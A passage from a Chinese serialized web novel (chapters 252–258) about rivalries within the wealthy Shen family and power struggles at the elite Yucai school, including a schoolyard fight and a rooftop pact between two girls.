“下个月我要出访S国,我打算从你们之中选一个随行照顾,你们怎么想啊?” 三人神色各异。 沈庄转头看向沈归灵,“孟医生说下个月你就能正常行走了,但为了明年的选拔还是不建议舟车劳顿,爷爷想知道你自己怎么想?” 沈归灵思忖片刻,“爷爷说从我们中选一个,是要公平竞争吗?” 沈庄点头,“没错。” “爷爷,我参加。” 沈清予嗤笑了一声,“你还是省省吧,我可不想让别人说我欺负一个瘸子。” 沈兰晞淡淡开口,“爷爷说了,公平竞争。” 既然是公平竞争,自然会规避沈归灵腿伤的问题。 沈庄撑着拐杖,“这个比赛绝对公平,就比你们的忍耐力。” 三人脸色一下变的微妙,显然是想到一块儿去了。 沈庄,“就比小黑屋测试,上次的事阿灵表现得非常好,这说明训练还是很有作用的。这次,爷爷特意请专家们加大了难度,你们谁能忍到最后,我就带谁去,绝对的公平公正。” 三人,“……” …… 第253章 有爸赞助,你好好哄 最后,小黑屋比赛的时间定在三天后的周末。 三人从正厅出来时,心情五味杂陈。 回园的路是一个方向,三人少有保持同行又各自沉默。 路过湖心亭时,沈谦和沈渊从凉亭走了出来,这里是回后院的必经之路,两人显然是在守株待兔。 沈清予略有些反感,淡淡瞥了沈渊一眼,不情不愿打招呼,“大伯。” 沈兰晞神情淡淡,“大伯,二伯。” 沈归灵礼节最是周全,嘴角带笑,“爸,二叔。” 沈谦点头,目光在三人之中扫了一圈,正要开口,沈兰晞捷足先登,“我还有事,先走一步。” 说罢,也不等沈谦回应,抬步往游廊走去。 沈谦压下心里的不悦,笑着看向沈归灵,“阿灵,跟爸爸走走?” 沈归灵点头。 沈渊,“清予,我也……” 不待他说完,沈清予白了沈归灵一眼,双手插兜往前走。沈渊脸色微变,拳头都握紧了,最后也只能认命跟了上去。 沈兰晞穿过垂花门时,脚步忽地停了下来,他转身,目光透过木雕窗花无声看着月光下的两对父子。 高止跟着沈兰晞的目光看了过去,“少爷,您想先生了?” 沈兰晞转眸,一言不发看着高止。 高止低头,默默戴上墨镜。 沈兰晞沉默片刻,抬步往沈园走去。 回家的路,只有他和自己的影子。 * 沈谦亲自推着沈归灵进了竹园,关上院门时,沈谦的脸上的温情淡了几分,“阿灵,你的腿怎么样了?” 沈归灵扶着轮椅站了起来,撑了足足有半分钟才又坐了回去。 “让爸爸担心了,其实已经好多了,只不过为了省事才一直坐着轮椅。爸爸放心吧,爷爷想了一个绝对公正的测试,即便我有腿伤也不会有影响。” 沈谦眼中略有诧异。 他只问了一句话,沈归灵就完美解答了他所有的疑虑。越相处,沈谦对这个儿子就越满意,难怪当年进沈园三个月,老爷子就对他刮目相看。 沈谦拍了拍沈归灵的肩膀,“阿灵,你有把握拿到随行的名额吗?” 沈归灵摇头,略有些惭愧,“不敢说百分百,沈兰晞是个强劲的对手,不过,请爸爸放心,我一定会全力以赴的。” 沈兰晞一直都是三个孩子里面最出挑的,沈谦对此并没有怀疑,思忖片刻又轻轻拍了两下,“尽力而为。” 沈归灵眼眸微动,不动声色看了沈庄一眼。 沈谦目光一转,对上沈归灵的视线,“听说,你把余笙晾在一边,惹得人家很不高兴。怎么?是已经有主意了?看上苏家那姑娘了?” 沈归灵压下眼里的锋刃,不躲不避,“余总统企图以新政拉拢新贵一派,能不能成功也还要看新贵接不接这根橄榄枝。新一轮的总统大选马上就要开始了,爸爸想要的是总统千金,而不是余家千金,所以……” 沈谦眼里满是赞许,“你继续说。” 沈归灵循循善诱,“所以,我觉得这鱼饵也该换换勾了,池子这么大,总不能只钓一条鱼吧?” 沈谦点头,目光略有迟疑,“照你这么说,苏家小姐呢?” 沈归灵,“苏妙年纪还小,苏老那么看中她,肯定是要多留几年的,不妨也先放放。” 沈谦总觉得哪里不对劲,“那万一你放着放着被别人钓走了呢?” 沈归灵抬眸笑了笑,“爸爸总该对我有点信心吧?已经咬了我的钩,哪能这么轻易被别人钓走?” 他很少这么笑,眼睑上撩带着几分恣意,看着温柔又薄情。 对着沈归灵这张脸,沈谦也说不出反驳的话,思来想去也没觉得有什么不对,便应道:“既然你已经有主意了,就随你吧。不过千万记住,不要玩过了。” 沈归灵眼里的笑容真切了几分,“爸爸放心吧。” “嗯,你好好休息。” 沈谦原本还想叮嘱几句,但见沈归灵这么懂事便觉得是自己多虑。 正准备离开,忽然想到什么,神情略有迟疑,“阿灵,你觉得衫衫怎么样?” 沈归灵眼睑微微上扬,嘴角的笑容收敛了几分,“什么怎么样?” 沈谦,“都说这孩子疯疯癫癫,油盐不进,不好相处,你怎么看?” 沈归灵沉默。 沈谦有些意外,略带调侃,“怎么不说话了?果真这么头疼?” 沈归灵不动声色观察沈谦的表情,反问道,“爸爸怎么突然关心起她来了?” 沈谦,“还不是你爷爷太喜欢她了。这丫头性格鬼畜不好得罪,我看她对兰晞、清予也是极尽刻薄。” 一想到姜花衫竟然敢当着沈庄的面出脚踹沈清予,沈谦忍不住直呼勇士,不过这也再次刷新了他对姜花衫有多受宠的认知。 沈归灵,“……” 沈谦见沈归灵不说话,轻咳了一声,“阿灵啊,要不你去把姜花衫钓过来吧?” “!”沈归灵眼眸颤动,一晚上的情绪就数这一刻最真实,他怔愣看着沈谦,“父亲,她是我名义上的妹妹。” 沈谦也愣了一下,随即反应过来,“你想哪去了?我好歹是你的父亲,哪会让你做自毁前程的事?我的意思是,让你拉拢她,以兄长的名义多关心她。” “哦。”沈归灵垂眸,反应平平。 沈谦见状,状似了然于心点了点头,“爸爸也知道让你去讨好一个小孩儿有些说不过去,但谁让她是老爷子的命宠呢?眼下是来不及了,早知老爷子这么看中她,我当初就该把她认下,现在白白便宜了三房。” 一听说沈谦要认姜花衫,先头那种不适变得更强烈了。 沈归灵深吸了一口气,“不是我不愿为为爸爸分忧,实在是……她不好伺候。” 故意用伺候这个词,无非是想表明了这件事对他来说有多委曲求全。 沈谦,“不过就是个小姑娘,性子刁钻了一点,花点心思,应该还是好拿捏的,阿灵,你是不是有难处?” 沈归灵欲言又止,一时不知如何开口。 沈谦恍然,“阿灵,你是不是看不上她……” “爸…”沈归灵打断他,“我囊中羞涩。” 沈谦微愣。 沈归灵撇开目光,耳尖微红,“爷爷给我的零花钱我都拿去做美联高的科研经费了,平时与那些女生相处,多半是阿姨和爸爸安排好的,也花不了什么钱。但姜花衫那人极度享乐,奢靡败坏,贪慕虚荣又喜欢攀比……” 这么差的吗? 沈谦一时有些反应不及,早知道他这儿子从小就没说过谁不好。 不过沈归灵局促的样子不似作假,沈谦不禁有些愧疚。 从小到大,他这个父亲似乎还没给过儿子零花钱。 今日不同往日,沈谦如今越来越看中沈归灵,想也没想从兜里掏出一张黑卡。 “是爸爸思虑不周,这卡你拿着,以后做事也方便。” “小孩子贪慕虚荣能花几个钱?你好好哄。” …… 第254章 公报私仇 与竹园的‘父慈子孝’不同,梅园那这边正‘鸡飞狗跳’。 沈渊追着沈清予唠叨了一路,沈清予左耳朵进右耳朵出,回到卧室直接戴上无线耳机,看见这一幕,沈渊气的血压都升高了,上前摘了沈清予的耳机,怒道:“你到底有没有在听我说话?” 沈清予翘着二郎腿,勾起一边的嘴角,“很显然,没有。” “……”沈渊深吸了一口气,冷着脸,“我知道你都懂,吊儿郎当不过就是想气我。但是,清予,这次不同,谁能跟老爷子出访S国,就代表谁能被邀请出席两国和谈国会,那可是国际政治舞台,多少人一辈子都够不上?所以我希望你明白,你就算是为了你自己,也一定要把握住这次机会。” 沈清予扣了扣耳朵,“死心吧,这次比的我完全不在行,赢不了。” “你!”沈渊头疼,“你就不能想想办法,努力努力?” 沈清予挑眉,吊梢着眼斜睨沈渊,“努力?怎么努力?我妈要死了都没见你努力从别的女人床上下来,你凭什么叫我努力?” 开口就是绝杀,沈渊差点被他气死。 沈清予见状,语气恶劣,“知道我为什么赢不了沈兰晞和沈归灵吗?因为我继承了你的劣质基因。” 沈渊气的心肝疼,捂着胸口,转头出了梅园。 待人走远,沈清予脸上的放荡顷刻间消失。 * 第二天,沈庄大清早出门参加国会厅的首脑会议,会议行程一共两天。 沈谦记挂着南湾事宜,把沈庄送到国会便马不停蹄赶回南湾,而沈归灵因为要准备三天后小黑屋比赛,特意留在竹园休养。 其他人照常上课。 沈清予因为打折护手霜的事一直耿耿于怀,难得出门没有搭理姜花衫,开着120迈的生死时速飙到了学校。 沈兰晞倒是‘不计前嫌’,但姜花衫记恨他打小报告,上了车就戴副墨镜,全程高冷不说话。 坐在前排的高止看的尴尬症都犯了,默默藏好自己的墨镜。 原来戴墨镜装逼这么讨人厌的? 金秋艳阳,生机勃勃的校园又迎来了新的一天。 萧澜兰被安排出国,摄影组的工作也被叫停撤出了育才,跑道上的血已经被洗刷干净,只有几个值日的学生在打扫落叶。 姜花衫和傅绥尔走进教室时,原本热闹的气氛一下安静到了极点。 傅潇潇前一秒还坐在课桌上聊得很开心,转头看见姜花衫,立马闭嘴坐回原位。 看来,沈让那一枪的威慑力还在持续发酵。 姜花衫和傅绥尔对视了一眼,佯装什么都不知道,泰然自若走回座位。 安静的氛围维持了片刻,又慢慢恢复寻常。 傅绥尔小声蛐蛐,“连对我们都怕成这样?沈眠枝会不会被孤立啊?” “谁知道呢?”姜花衫打了个哈欠,“我先睡会儿。” 见姜花衫趴下,教室的声音统一低了三度,傅潇潇一改平时作对的风格老老实实低头玩手机。 傅绥尔挑了挑眉,还有这种好处?她一脸愉悦拿出《求娇》继续阅读。 还没看两行,教室忽然鸦雀无声。 这种诡异的宁静太过违和,姜花衫和傅绥尔同时抬起头。 … 第255章:情书 姜花衫还是第一次这么直观感受到,什么叫蝴蝶效应。 沈眠枝只是觉醒了一半,整个育才就迎来了天翻地覆的变化。 学生会长突然崛起,最苦不堪言的就是习惯了作威作福的少爷小姐们。 高二年级的某富二代少爷因为心情不好,顺带欺负了一下弱势同学,三分钟后就被请去学生会喝茶,由于认错态度不积极直接被沈眠枝扣了三十分,当场宣布留级查看。 少爷懵了,不服气打电话回家告状,但最后的结果是家里人三十分钟就赶到了学校,十分钟就配合学校办理了留级手续。 据说少爷还被生父打了一耳光。 “你现在是富二代,再多说一句,就是负二代。” 学籍分这种东西,从出产就没被英才学生重视过,但这招杀鸡儆猴一出,大家开始死命护分,毕竟谁也不想早上来还是学长,下午就变成了学弟。 傅潇潇不满沈眠枝针对,企图联合其他新贵、老派的少爷一起抵制沈眠枝,毕竟这是大家的游戏场,沈眠枝弄这么多规章制度影响了大家的游戏体验。 可金字塔的少爷小姐们也不是草包,虽说沈眠枝的规矩对他们来说有些掣肘,但并未触及核心利益,大家也乐于送人情。 何况,那天操场的事聪明人都看的明白,惹一个沈眠枝,后面不仅仅会有一个胡乱开枪的沈让,还有一个见谁都刀的姜花衫,通风报信的傅绥尔,无差别攻击的沈清予,以及杀人清场的沈兰晞。 惹一个,得罪五个,怎么看都是笔不划算的买卖。 傅潇潇策反失败,只能撺掇亲哥哥傅文博跟她一起使坏。 “哥,沈眠枝摆明了针对我,那些人胆小怕事,难不成你也不帮我说话吗?” 傅文博最近忙着军政大学的考试准备,闲下来就去秘密花园找乐子,已经很久没有关注学校的纷争了。 不过,傅潇潇都求到他面前了,作为亲哥哥也不能不管。 他想了想,转头推了推姚淄磊的胳膊,“有没有招啊?” “草!”姚淄磊正在写情书,笔尖一歪,刚画好的小爱心长了个尾巴,他大怒,“老子写了一个上午了,这下全毁了。” “……”傅文博表情一言难尽,昧着良心出招,“你往外面再画一圈不就盖住了?” 姚淄磊眼睛一亮,拿笔画了一个更大的爱心。 傅潇潇不解,“哥,阿磊哥在写什么?” 说到这,傅文博也是头大,“情书。” “情书?!” 姚淄磊可不是什么好人,在男女这种事上,他从来不花心思,看中的就抢,女生们迫于他的淫威不敢反抗,可每次相处不到一个月他就换人,写情书这种操作还是头一次听说。 “谁这么有本事?”傅潇潇一脸八卦,完全忘记自己为什么来的。 傅文博扶额,“姜花衫。” 傅潇潇笑不出来了,不敢相信看向姚淄磊,“阿磊哥,真的假的?” 姚淄磊刚画好爱心,乐呵呵吹了吹墨汁,谁知墨水没干透,中爱心被吹成了树杈。 “啊!”姚淄磊感觉天都塌了,赶紧又在外面画了一个更大的爱心。 “……”傅潇潇这辈子都没这么无语过,转头看向傅文博,“他这个样子多久了?” 傅文博,“应该是今年暑假打网球那次,他调戏球场的女生,被姜花衫拿球拍打了头,估计是那个时候打傻的。” “你们懂个屁!”姚淄磊缝缝补补画出了一个巨大的爱心,春风得意,“老子是纯爱。” 傅潇潇眼皮跳了跳,“阿磊哥,你忘记她是怎么坑你的了?你的腿差点断了也是拜她所赐。” 姚淄磊摸了摸下巴,“我后来想了想,其实也不能全怪她,我那个时候也挺混账的。” 竟然还知道反省?傅潇潇语气凉凉,“阿磊哥,姜花衫可不好忽悠,你该不会真以为写封情书就有用吧?” “我知道。”姚淄磊从抽屉拿出一个皮箱打开,“所以我打算写三百六十五封。” “……”傅潇潇嘴角抽搐,原来人在极度无语的时候真的会笑。 姚淄磊兴致勃勃,“我知道,你们之间有些小摩擦,不是我说你,你这性子还是要改改,别总跟姜花衫作对。” 傅潇潇站起身就要走。 姚淄磊一把拖住她,“别走啊,正要找你呢?要不你帮帮我?我答应你,如果这事成了,我肯定好好规劝她,让她跟你和平相处?” “你规劝她?”傅潇潇从来没这么理智过,“阿磊哥,要不算了吧?就你这样的,姜花衫能玩死你。” “诶!你怎么说话的?看不起纯爱战士吗?” “……” 育才两大霸凌反派,一个沉迷秘密花园,一个陷入爱河,傅潇潇一看指望不上,转头又去艺术楼找周宴珩。 * 上午第二节课结束,课间操时间。 整栋英才楼的学生倾巢而出,校领导们受宠若惊,要知道以前开学典礼人都没这么整齐过。 激昂的音乐在各个楼道、教室流窜,姜花衫无精打采坐了起来,单手托腮看着窗台浮动的光影。 “叩叩——” 教室门传来响声。 她偏头看了过去。 沈眠枝站在光影之中,清纯的小鹿眼迎着艳阳,眸光潋动看着她。 两人目光交汇的瞬间,沈眠枝指尖微微收拢,在心底深吸了一口气,慢慢走进教室。 “我能耽误你一点时间吗?” * 教室并不适合分享秘密,沈眠枝把姜花衫带到了教学楼的露天阳台,为免发生意外,通往露台的消防门上了锁,只有教导主任才有钥匙。 沈眠枝从口袋里拿出钥匙,锁芯轻轻扭动,咔得一声就打开了。 她说,“早上,我去教导室跟老师说想上露台看看,他二话不说就给了我钥匙。我一下子就想明白了,原来困住我的从来不是世俗规则,而是我自己。” 话落,她双手撑住门板,用力往前推。 霎时,一道刺眼的白光从门缝中倾泻而出。 沈眠枝回头,伸手落在姜花衫面前。 她笑了笑,逆光的脸庞几乎透明,唯有右眼角下的泪痣忽然生动鲜活。 -【我有预感,牵上你的手,我能与宿命搏斗。】 …… 第256章 约定!直面宿命 屋顶的风自由驰骋,带着骄阳的热烈徐徐吹过,放眼望去,头顶的世界碧空如洗,白云悠悠。 课间操的旋律轻快而有节奏,人在高处俯瞰,脚下的人影渺小至极。 姜花衫双手撑在栏杆上,瓷白的脸沐浴在整个阳光里,“说吧,找我什么事?” 沈眠枝走近她,视线留在她明媚的目光里,“谢谢你。” 姜花衫眉梢微挑,似笑非笑看着她,“谢我什么?” 沈眠枝,“谢谢你把我唤醒。” 姜花衫扫了她头顶一眼,别开眼,“不知道你在说什么?” “你曾说过,这个世界上不止我一个‘神经病’,以前,我一直想不明白,直到后来你对我说出那句话。” 沈眠枝顿了顿,看着姜花衫的侧脸,终于问出了心底的疑问,“衫衫,你也曾是‘万里挑一’对不对?” 姜花衫眼睑微动,转头迎上沈眠枝的目光,她没有说是,也没有说不是。 但沈眠枝已经有了答案,清澈的眸底莫名有些湿润,姜花衫本可以骗她,但她没有。 这一刻,她狠狠共情的眼前的少女。 如果我眼中的世界秩序颠倒,那我的疯癫才是最理智的清醒。 她曾一个人对抗了整个世界。 沈眠枝走过抗争的路,所以她比任何人都知道,这需要多大的勇气。 她温柔看着姜花衫,“那个时候,有人向你伸手吗?” 姜花点头,“有。” 灯塔的爱,给了她勇往直前的方向。 沈眠枝大约猜到姜花衫的故事。 与她想的一样,姜花衫应该是在被方眉长期控制和奴化的过程中觉醒了自我意识,但她比她坚强,依靠着爷爷的爱一步一步走了过来。 “那绥尔呢?也跟我们一样?” 傅绥尔从十三岁后脱胎换骨,沈眠枝很难不怀疑。 “似是而非吧。” 傅绥尔的改变是潜移默化,不像她们清醒而痛苦。 姜花衫的坦诚让沈眠枝看到了希望,她鼓起勇气。 “如果,我是说如果……我能像绥尔那样勇敢挣脱束缚,你们愿意重新接纳我吗?” “你怎么知道的?” 姜花衫略有些意外,不是因为沈眠枝的请求,而是因为她竟然知道自己还没有挣脱束缚。 沈眠枝,“我能感觉的到,某种力量对我还有影响力,我暂时还抵抗不了。” 姜花衫眼前一亮,沈眠枝的聪明简直出乎意料。 就在她斟酌,该怎么让沈眠枝明白时,沈眠枝轻声开口,“是跟周宴珩有关,对吗?” 姜花衫笑了,这一刻,她又想吃沈眠枝的脑子了。 剧目之门是怎么回事?专产天才级别的脑子?偏偏不分一个给她! 或许是被沈眠枝刺激到了,刚吐槽完脑子忽然用功,灵光一闪。 她和沈眠枝之间还有一个羁绊。 【金兰任务:处心积虑至对方于死地】 也就是说,她和沈眠枝必须同时设下弄死对方的死局算任务完成。 之前为了测试,她故意把沈眠枝推给了周宴珩,剧目之门当场认定进度完成1/2。 到现在为止,任务进度并未改变,也就是说死局还存在。 可就在刚刚,姜花衫忽然有个一个大胆的猜想,或许她又跳进了自己的局限思维里。 因为她预知了沈眠枝上一世的结局,所以她下意识就把沈眠枝的死都归罪于周宴珩,但如果把周宴珩换成任何一个甲乙丙丁的渣男,难道沈眠枝就能逃过吗? 不! 她不能。 周宴珩只是更恶,手段更歹毒,可换了别人沈眠枝依旧不能全身而退,究其根本原因是【恋爱脑】这个标签。 所以真正将沈眠枝拉入死局的不是男人,是她自己。 姜花衫的表情忽然凝重,“你相信我吗?” 沈眠枝还在想自己该如何破除与周宴珩的羁绊,被这句话惊醒,她几乎没有犹豫,“当然。” 姜花衫,“我能帮你打破一切束缚,前提是你要相信我。” 沈眠枝眼中燃起斗志,加重了语气,“我信。” 姜花衫摇头,“我说的相信,是即使人证物证俱在,即使我也亲口承认背叛,你依旧毫无保留地相信,你确定自己能做到吗?” 沈眠枝微愣。 姜花衫闭眼仰着头面对天空,“要是输了,你会万劫不复,我们赌吗?” 前面是‘你’,后面是‘我们’,说明参与是两个人,对赌的却是一个人的未来。 沈眠枝看着阳光下的少女,嘴角牵起一抹微笑,“赌,不赌怎么赢下未来?” 姜花衫慢慢睁开眼,一只手挡住头顶的烈阳,“想好了?” 沈眠枝颔首。 姜花衫转过头,目光平静,“周宴珩是你的宿命,直面他。” * 做完课间操还有十分钟休息时间,德才的同学争分夺秒涌回教室看书,英才的同学三三两两在操场散步。 苏妙转了一圈没看见姜花衫,正准备回教室,手机忽然响了,是苏灼打来的。 “哥?”她漫不经心接通电话。 电话那边,苏灼说了什么,苏妙一脸诧异,提高了声调,“现在?” 等她挂了电话,周绮珊才出声询问,“怎么了?” 苏妙一脸活见鬼,“我哥现在在教导处让我过去一趟。肯定是因为上次在学校跟傅潇潇吵架那件事,沈眠枝搞什么?真打电话做家访?” 周绮珊有些愧疚,拉住她,“妙妙,我跟你一起去。” 苏妙点头,两个结伴往教导处走去。 不远处,苏韵站在人群里,神情复杂看着苏妙离去的背影。 * 教导处。 苏灼正襟危坐,两侧的一星肩章甚是惹眼,这可是军政学府带编执行官才有的勋章。 教导老师倒了杯热茶,局促搓着手,“苏少,您先坐。” 苏灼表情温和,“爷爷十分重视这次的家访内容,但国会在即他老人家抽不开身,只能让我来一趟。还要麻烦老师把舍妹这次的冲突原因详细告知,我们才能配合学校。” “稍等啊……”教导老师转身去翻找家访资料。 “你好,这里是教导处吗?” 这时,门外有人推开了办公室的门。 教导老师一改狗腿气质,上下打量门外的男生,“你谁啊?怎么不穿校服?” 少年有些为难抓了抓头发,笑容爽朗,“老师好,我叫夏星沉,是新到的转校生,我还没有校服。” …… 第257章 新生报到 夏星沉? 教导老师回忆了一下,早上开会的时候好像的确提到了一个特招生,以满分成绩通过了育才的招生考试,说是今天会来教导处报到。 顶尖人才到哪都是香饽饽,教导老师面色稍缓,指了指角落的沙发,“进来吧。我这会儿在忙,你坐那先等等。” “好。”少年点头,十分谦逊地走进办公室,落座时目光不经意扫向对面的苏灼。 苏灼正低头看手机,并未在意。 教导老师翻出家访记录,匆匆瞥了一眼,有些局促,“苏少,您请过目。” 苏灼接过资料,逐字逐句扫去,目及结尾的落款签名时忽然一愣。 空气突然安静。 “苏少,这份材料是沈同学写的,具体情况她比较了解,要不我请沈同学来一趟,您要有什么疑问可以当面问问她?”说完,男人小心观察苏灼的脸色, 苏灼眸光微动,“不用了,上面记录的很清楚,有理有据,想必是不会错的。”说罢,十分干脆合上了资料。 学校在家访时其实已经把事情的原委说的很清楚了,沈家人刻意来学校一趟无非是担心苏妙受委屈被冤枉,可现在苏灼看一眼又不查了,闹得连教导老师也看不明白了。 但少爷不找茬对他们总归是好事,老师小心翼翼接过苏灼手里的资料。 “哥。” 就在这时,苏妙推门走了进来,目光在办公室转了一圈,最后落在苏灼脸上,“你怎么来了?” “上午有半天假,想着正好来看看你。”苏灼站起身,朝教导老师微微颔首,“您忙。” 教导老师受宠若惊,微微躬身,眼见两人走远,才长舒了一口气。 一回头见夏星沉还端坐在沙发上,立马又端起老师的架子,“夏……夏星沉是吧?把你的入学资料拿过来。” * 苏妙领着苏灼在校园散步,语气颇有些抱怨,“你怎么来也不提前跟我说一声?” 苏灼四处观望校内风景,“你在学校打架不也没事先跟家里说一声吗?” “噗哧……”周绮珊没忍住笑出了声。 “笑什么?”苏妙没好气推了苏灼一把,“那是傅潇潇欠削,还有那个沈眠枝,拿着鸡毛当令箭,多大点的事还写报告弹劾我。” 苏灼脚步一顿,拍了拍她的额头,“你就是个刁民,还用不上‘弹劾’这个词,人家不过按规矩办事,有什么错?反倒是你,一会儿扮神经病,一会儿又打架闹事,才应该好好反省。” 苏妙瞠目,“我不过说了她一句,你说我三句,你还是不是我亲哥?胳膊肘往外拐!” 苏灼清咳了一声,“就是因为是你亲哥才了解你。” 苏妙气结,又推了沈灼一把。沈灼无奈,也由着她闹。 三人一路随行,打打闹闹进了英才教学楼。 “阿韵,你在看什么?” 苏韵抱着一沓资料站在教学楼的花坛边,神情复杂看着苏妙身边的少年。 赵棠顺着苏韵的目光看了过去,发出艳羡的感叹,“那是苏妙的哥哥吧?听说也是个很厉害的人物,你看见他肩上的一星肩章没?只有执行官才有资格佩戴。” 苏韵淡淡收回目光,“走吧,吴老师还等着呢。” “哦。”赵棠赶紧跟上,“阿韵,你真的不再考虑一下吗?韩神父说了,每周抽出三个小时就行,而且机会难得,这次是主教亲自选拔,要是被选中成为主教的信徒那可是无上荣光,我可是好不容易才拿到的名额。” 苏韵摇头,“我还是不去了,最近家里好多事有些分不开精力。” 赵棠有些失落,“好吧。” 说话间正好经过教导室,赶巧碰上教导老师领着一个模样俊俏的少年走了出来,苏韵和赵棠赶紧上前问好。 好学生在老师那都是有脸的,教导老师认出了苏韵是高一新生的第一名,点点头算是回应。 赵棠好奇打量随行的少年,“谁啊?长的还挺好看的。” 苏韵忽然想起昨天去办公室交资料时,所有老师都在谈论一个人,难道就是他? * “这就是德才楼了,对面那栋是英才楼。”教导老师指着面前的两栋楼,“楚河汉界,你记住,要想顺利毕业,界限可不能模糊。” 两栋楼风格迥异,一栋贵气华丽,另一栋明亮圣洁。 夏星沉浅浅微笑,跟着教导老师踏入了德才楼。 眼下还是课间时间,走廊上到处是停留的学生,夏星沉的到来引起了不少人的注意。育才可不是普通学府,开学一个月还能空降德才班,那必定是各大高校抢破头的资源。 教导老师把夏星沉带到高二德才一班,正准备交接,外头有人大喊了起来。 “不得了了!英才一三班又打起来了。” 教导老师听的太阳穴突突,想假装没听见,哪知吃瓜的学生直接冲进教室告状。 “老师,您快去看看,英才一三班的女生又在下面扯头发了。” “……” 不管不行了,教导老师只能把夏星沉交给班长,转头冲出了教学楼。 走廊上围观的人越来越多,夏星沉想了想,入乡随俗走出教室跟着大家一起吃瓜。 “我去!厉害啊!真看不出啊,傅绥尔竟然一打四。” 夏星沉懒懒抬眸,视线里,有个女生一脸乖张,双手叉腰,对面来一个她踹一脚,下手果决干脆,跟她那张清丽无害的脸形成了鲜明的对比。 教导老师赶到时,四个都已经倒地,周围清一色叫好的英才同学。 “她是谁?”夏星沉看着有趣,询问身边的班长。 “傅绥尔,被她揍的那个是傅家千金,傅潇潇。” 夏星沉目光微动,转头继续看。 教导老师一直在旁边劝说傅绥尔,但傅绥尔一句都听不下去。 傅潇潇情绪更激动,不顾旁人劝阻张口大骂。 德才楼隔的远,围观的人声嘈杂,一时也听不清傅潇潇在骂什么? 但英才楼那边的同学已经变了脸,就连教导老师脸都白了。 …… 第258章 任务,傅绥尔 傅潇潇顶着一头的血,神情癫狂,不管不顾指着傅绥尔破口大骂,“怎么!说到你痛处了?还以为你们沈家是什么了不起的高门,原来也不过如此。萧澜兰自甘下贱送上门给别人玩,她敢做难道不敢当吗?” 傅潇潇原本是要去艺术楼找周宴珩诉苦的,没想到周宴珩外出不在学校,一番打听才知道,是萧澜兰把人约出去了。 她不甘心,正要打电话寻人,大家赶紧拦住她,劝她别打扰两人的好事。 萧澜兰拍戏这一个月没事就往艺术楼跑,每次一进房间就是几个小时,她自以为做的隐蔽,实则大家都心照不宣。 傅潇潇对周宴珩有滤镜,一直以为他与关鹤那群人不同,一想到两人在她眼皮子底下做出这种事就止不住地恨。 但她的嫉恨只针对萧澜兰,因为她认定是萧澜兰勾引了周宴珩。 出了艺术大楼,傅潇潇已经把沈眠枝抛到了九霄云外,她现在就想要萧澜兰名誉扫地,要她死。 于是,她故意找茬傅绥尔,把萧澜兰和周宴珩的事,故意说成了萧澜兰和艺术大楼所有男生淫乱。 萧澜兰和沈家姐妹关系并不好,傅潇潇就是看中这点,想借傅绥尔的嘴置萧澜兰于死地。 可让她万万没想到的是,傅绥尔听完不仅没有落井下石,反而转头把她打了一顿,甚至还威胁她,再敢造黄谣就撕烂她的嘴。 傅潇潇前被沈眠枝报复,后又被周宴珩背叛,现在又被傅绥尔打,身心彻底崩溃,像疯子一样吼叫,“你清高什么?你别忘了,当初是你妈水姓杨花才被我们傅家赶出家门的!” “我看你是找死。” 沈娇是傅绥尔的死穴,傅潇潇造谣造到沈娇头上,傅绥尔也彻底失控,冲进人群对着傅潇潇又踢又踹。 众人被傅绥尔的反应吓傻了,赶紧上前拉扯。 “快把她们拉开!快啊!”教导老师急得整个人都要烧起来了。 “谁敢拽我?!”傅绥尔杀红了眼,一把推开众人,“信不信我让我舅舅请你们吃枪子?” 上一个阻拦的还在医院躺着,血的教训,教导老师也不敢嚎了,只能在原地拍着大腿又蹦又跳。 “你们在这做什么?绥尔?” 人群里,有人喊了一声,瞬间拉回了傅绥尔的理智。 她回头,看见姜花衫时,腥红的眼睛微微有些湿润,转身跑到女孩儿身边,“衫衫,她造谣,她骂我妈妈。” 傅潇潇瘫倒在地,头上嘴角都是血,姜花衫只看了一眼便收回目光,轻轻托起傅绥尔的手检查,“疼不疼?” “疼。”傅绥尔撒娇。 教导老师眼皮跳了跳,你把人家头都打开了,能不疼吗? 姜花衫轻轻吹了吹,“下去记得别空手。” “姜、花、衫!”傅潇潇咬牙,“我要告你们!这件事没完!我一定会让你们付出代价的。” 沈眠枝穿过人群,挡在姜花衫和傅绥尔面前,从容不迫拿出登记册,“聚众斗殴,扰乱校园纪律,今日所有参与者各扣个人学籍分二十分,傅潇潇已扣满三十公分,做留级处罚。” 她简单登记好,在众人目瞪口呆的注视中合上手册,“从明天起,你去初中部报到。” “我撕了你!”傅潇潇从没受过这种屈辱,斗志再次被点燃,对着沈眠枝冲了过去。 傅绥尔见状,正准备上前,沈眠枝抬手将人拦在身后,一个漂亮的回旋踢直接踢中傅潇潇的下腹。 傅潇潇呜咽了一声,连人一起飞出了一米远。 这一脚的伤害,超过了之前所有伤害的总和。 “潇潇!”傅文博冲进人群的时候,傅潇潇正好从他眼前飞了过去,想接已经来不及了。 傅文博转头抱起傅潇潇,但人已经晕过去了。 “你们简直欺人太甚!”傅文博青筋暴动,撸起衣袖,“看我今天不打死你们!” “让让!” 人群中闪过一道急影,与此同时,高止顶着一米九五的身高,拨开一众小土豆,像个门板一样挡在沈眠枝面前。 等傅文博反应过来时,眼前立着两道身影,他脸色微变,梗着脖子,“滚开,好狗不挡道。” 沈眠枝略有些惊讶,高止她不陌生,可是另外一个穿军政校服的是谁啊? 高止瞥了并肩的男人一眼,往前一步,指了指英才楼的方向。 傅文博顺着他手指的方向看了过去。 顶楼,沈兰晞双手插兜站在走廊上,俊美的脸上没什么表情,眼底一片阴翳。 气氛陷入僵局。 “铃——” 这时,悦耳的上课铃响了。 教导老师仿佛听到了解救的天音,装疯卖傻大喊,“都愣着干什么?快回去上课。” 吃瓜群众也不敢再凑热闹,纷纷作鸟兽散。 “快回教室吧,再看被抓可就遭殃了。”班长唯恐惹祸上身转身就要跑。 夏星沉一把扯住他的衣襟,指着人群,“她是谁啊?” 班长被他吓了一跳,赶紧拍下他的手,“你不要命了,敢指她?” 夏星沉看着被拍红的手,笑了笑,“怎么了?” “那可是育才的活祖宗,刚刚站在走廊的那位看见没?沈家太子爷,听说出生就继承了一个军团,育才这么多少爷小姐,也只有他保镖不离身,这可是绝无仅有的特权。” 夏星沉不解,“他们是什么关系?” “兄妹。她头上有三个哥哥。” 夏星沉转眸看向撒娇的女生,眼神微暗,“那个呢?” 班长看了一眼,“傅绥尔,她你也别惹。” 夏星沉不置可否,转身走进教室。 班长一脸怪异看向背后,这小子看着斯斯文文,没想到力气这么大。 “那个,夏星沉,我们已经分好座位了,你来的晚,只能先将就坐后面,没问题吧?” 